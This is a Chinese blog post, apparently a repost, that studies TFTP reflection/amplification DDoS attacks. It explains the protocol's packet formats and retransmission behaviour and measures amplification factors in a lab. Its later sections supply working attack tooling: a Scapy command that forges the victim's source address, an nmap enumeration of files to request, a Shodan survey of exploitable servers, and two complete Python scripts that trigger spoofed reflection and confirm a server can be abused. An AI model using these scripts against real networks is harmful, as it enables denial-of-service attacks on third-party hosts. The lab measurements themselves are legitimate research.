标签：
经由@杀戮提示，让我看看softpedia上的这篇报道，咱就来研究一下文中的使用TFTP（Trivial File Transfer Protocol,简单文件传输协议）进行反射型DDOS攻击。在报道的最后提到了Evaluation of TFTP DDoS amplification attack这篇论文，论文还是比较学术派和严谨的，其中使用GNS3和虚拟机搭建模拟环境，尽量严格控制相关变量与不变量，对TFTPD32，SolarWinds，OpenTFTP三种TFTP服务器进行研究。论文中还利用TFTP协议自身的缺陷来进行DOS攻击，同时对DOS攻击的反射因子，请求响应延迟，总吞吐量，CPU消耗率等方面进行了详细的测验与评估。
当然，自己实际地测试观察TFTP反射放大攻击的影响还是很有必要的。所以本文就在那篇论文的基础上，利用Kali2等虚拟机，对反射流量和反射因子进行检测计算，适当探究相关的限制与利用。
DDOS是分布式拒绝服务攻击，研究的基础也就在于拒绝服务；论文中三种TFTP服务器的测试也是为了相互对比参照，由于不同服务器的特性不同而响应的行为也不同，其中的任何一种服务也具有通用的特性。所以为了方便验证研究，我们就简单地搭建在Kali2上搭建tftp服务（对于协议特点的学习，我比较喜欢直观的办法，搭建好必要服务后抓包看其数据包的结构），对其反射放大流量的利用进行测试，而暂且抛开分布式和其他类型服务器的对比话题。相信这些都是见微知著的，也欢迎你进行其他方面的深入探究交流。
我们在更新源了的Kali2上进行tftp的安装，详细过程可见这里和那里。在Kali上自带的有tftp客户端，我们可以不用再进行安装。其中主要使用了使用xinetd超级守护进程更加方便安全地管理使用tftp服务。最后在服务都安装好后，测试图如下：
在这里值得一提的是，客户端上键入?发现有put命令可以直接上传文件，但是会引发Error code 2: Access violation错误。究其原因查看man手册可知道，因为咱们之前在登录的时候没有经过认证就可以读取文件，所以处于安全的考虑，只有文件存在而且对于所有的用户都可写才能put相应文件，这一点也会成为之后攻击的一个限制。
对于TFTP协议百度和WiKi也有比较详细的介绍，这里不多赘述。我觉得其中最需要理解的有以下三点：
下面给出TFTP数据包的几种类型：
TFTP Formats
Type Op # Format without header
2 bytes string 1 byte string 1 byte
-----------------------------------------------
RRQ/ | 01/02 | Filename | 0 | Mode | 0 |
WRQ -----------------------------------------------
2 bytes 2 bytes n bytes
---------------------------------
DATA | 03 | Block # | Data |
---------------------------------
2 bytes 2 bytes
-------------------
ACK | 04 | Block # |
--------------------
2 bytes 2 bytes string 1 byte
----------------------------------------
ERROR | 05 | ErrorCode | ErrMsg | 0 |
----------------------------------------
就拿A对S上的RRQ (read request)文件过程来演示一下，如下图：
具体过程文字描述如下：
实际测试的抓包图如下：
反射是过程，放大是结果。对于拒绝服务攻击来说，常用的方式有这么几种：1.滥用合理的服务请求；2.制造高流量无用数据；3.利用传输协议缺陷；4.利用服务程序的漏洞。TFTP反射放大攻击就是利用了协议上的缺陷或者说是特性，其中关键点有二：
下面我就在本机上借由Scapy伪造源地址数据包，向服务端(Kali2)发送RRQ数据包请求get服务器上的文件，进而将响应DATA包发射给目标机(XP)，诱发重传机制造成放大攻击。利用Scapy如下：
|
1
2
3
|
>>> a = IP(dst=‘192.168.1.104‘,src=‘192.168.1.102‘)/UDP(sport=445,dport=69)/TFTP()/TFTP_RRQ(filename=‘larry‘)>>> a<IP frag=0 proto=udp src=192.168.1.102 dst=192.168.1.104 |<UDP sport=microsoft_ds dport=tftp |<TFTP op=RRQ |<TFTP_RRQ filename=‘larry‘ |>>>> |
也还是有两点需要说明，我们这里伪造的源端口用的是XP SP3默认开启的UDP端口之一(123,137,138,445,500,1900)，当然你也可以用其他你在攻击目标上扫描出来的端口；另一点就是为了达到放大数据包大小的最佳效果，我们这里RRQ的已知文件的大小必须大于512字节为好。三个主机在同一个网段下的测试结果图如下：
在搭建传统的LAN环境的时候，会要求TFTP服务器对所有客户端是可连接的，通常会将其拿来当做内部网络网关。如果这些TFTP服务器同时暴露在外的话，我们就可以利用其在网络当中的角色加上对源地址无验证的缺陷,对内网机器进行DOS攻击。当然鸡肋的会是我们不知道在内网当中有哪些机器，就算攻击成功了，由于没有回执响应，我们就不知道实际情况是如何而“盲打”一通了。在vbox当中创建一个内网环境，同时给服务端设置两个网卡，测试结果如下：
从以上的测试结果可以看出由于tftpd服务的特性，在服务端未接收到ACK数据包时，会默认进行5次重传，并且重传时间间隔（可设置）为5秒。对于不同的反射放大攻击，例如Smurf，DNS，NTP，TCP-based，SNMP等反射放大攻击，研究时通常会计算其中的反射因子/放大倍数作为相互比较的标准。在基于tftpd的TFTP反射放大攻击中，这里响应数据包大小总和比上请求数据包大小为：558*5/60=46.5。为了简单地对比一下，我还是在XP上下载了tftpd32，然后再去get自带的文件tftpd32.chm（其实在默认状态下tftpd32是允许put文件的，但也可在Setting中设置为Read Only模式）。tftpd32的特性就是会重传6次，时间间隔依次为1,2,3,3,3秒，最后还会发送一个ERROR数据包。这里抛开ERROR数据包计算反射因子的话就是558*6/62=54。
在论文中的tftpd32版本可能有所不同，反射因子为59.78，这个放大因子和其他反射放大攻击相比较还是很可观的：
在以上的测试过程中，对于TFTP反射放大攻击利用的限制点主要有三点：
1. 获取TFTP服务器上存在的文件名
虽然服务器端无认证过程可以随意登录，但是无法列目录，而造成反射的基础就是需要服务端能够发送出DATA数据包。这就需要我们一个个get测试看看TFTP服务器上存在哪些常见的文件了，我们可以对思科（广泛使用TFTP服务）设备文件和其他你认为有可能存在的文件进行测试。还好nmap在这里给我们提供了一个tftp-enum.nse脚本，可以如下使用：
|
1
|
$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args="tftp-enum.filelist=customlist.txt" <host> |
如果未加--script-args的话，脚本会默认调用tftplist.txt文件去枚举可能存在的文件。当然，tftp-enum.filelist可以指定自定义的列表进行枚举扫描。测试结果示例如下：
论文当中说是有599600台（2012年扫描结果）对外开放的TFTP服务器可能会被用来进行发射放大攻击，但在shodan上搜索tftp的结果也只有10w左右的样子，可能有待进一步的扫描发现。以下是我在shodan中搜索出的999个IP进行测试，其中有47个服务器可以get到默认的文件：
2. TFTP服务器上已知文件的大小
反射过来的DATA数据包的大小取决于读取文件的内容大小，这样就决定了我们最终反射放大的程度（相对于已知文件的文件名长度——影响请求包大小）。如果DATA数据包过小造成的影响也就很有限的了。
3. 确定TFTP服务器可利用
除了以上两点，如果存在其他的过滤机制，我们最终就需要测试一下该TFTP服务是否可利用，在攻击端伪造简单的数据包触发其反射到指定的主机上，代码如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/env python#coding=utf-8 import optparseimport sysimport logging from scapy.all import * class Trigger(object): def __init__(self, target, port, filename, server): logging.getLogger(‘scapy.runtime‘).setLevel(logging.ERROR) self.target = target self.port = port self.filename = filename self.server = server def run(self): t = IP(src=self.target, dst=self.server)/UDP(sport=self.port, dport=69)/TFTP()/TFTP_RRQ(filename=self.filename) send(t) print ‘[+] The trigger has benn sent !‘ if __name__ == ‘__main__‘: parser = optparse.OptionParser(‘uasge: %prog [options]‘) parser.add_option(‘-t‘, ‘--target‘, default=None,help=‘The ip of target‘) parser.add_option(‘-f‘, ‘--filename‘, default=‘larry‘, help=‘The filename for RRQ‘) parser.add_option(‘-p‘, ‘--port‘, type=int, default=2333, help=‘The src port of target‘) (options, args) = parser.parse_args() if len(args) < 1 or options.target == None: parser.print_help() sys.exit(0) trigger = Trigger(target=options.target, port=options.port, filename=options.filename, server=args[0]) trigger.run() |
在我们之前指定的主机上检测一下是否有如期的DATA数据包到来即可，代码如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
#!/usr/bin/env python#coding=utf-8 import optparseimport sysimport logging from scapy.all import * class Sniff(object): def __init__(self, port): logging.getLogger(‘scapy.runtime‘).setLevel(logging.ERROR) self.port = port def run(self): try: sniff(prn=self.udp_monitor_callback, filter=‘udp‘, store=0) except KeyboardInterrupt as e: print ‘[+] Bye !‘ sys.exit(0) def udp_monitor_callback(self, pkt): if pkt.getlayer(Raw): raw_load = pkt.getlayer(Raw).load if pkt[UDP].dport == self.port and raw_load[:4] == ‘\x00\x03\x00\x01‘: print ‘[+] The server %s is available‘ % (pkt[IP].src) sys.exit(0) if __name__ == ‘__main__‘: parser = optparse.OptionParser(‘usage: %prog [options]‘) parser.add_option(‘-p‘, ‘--port‘, type=int, default=2333, help=‘The port from server‘) (options, args) = parser.parse_args() if len(args) > 0: parser.print_help() sys.exit(0) s = Sniff(port=options.port) s.run() |
这样一放一收就可以知道该TFTP服务器是否可以利用了。
标签：
原文地址：http://www.cnblogs.com/UnGeek/p/5572893.html
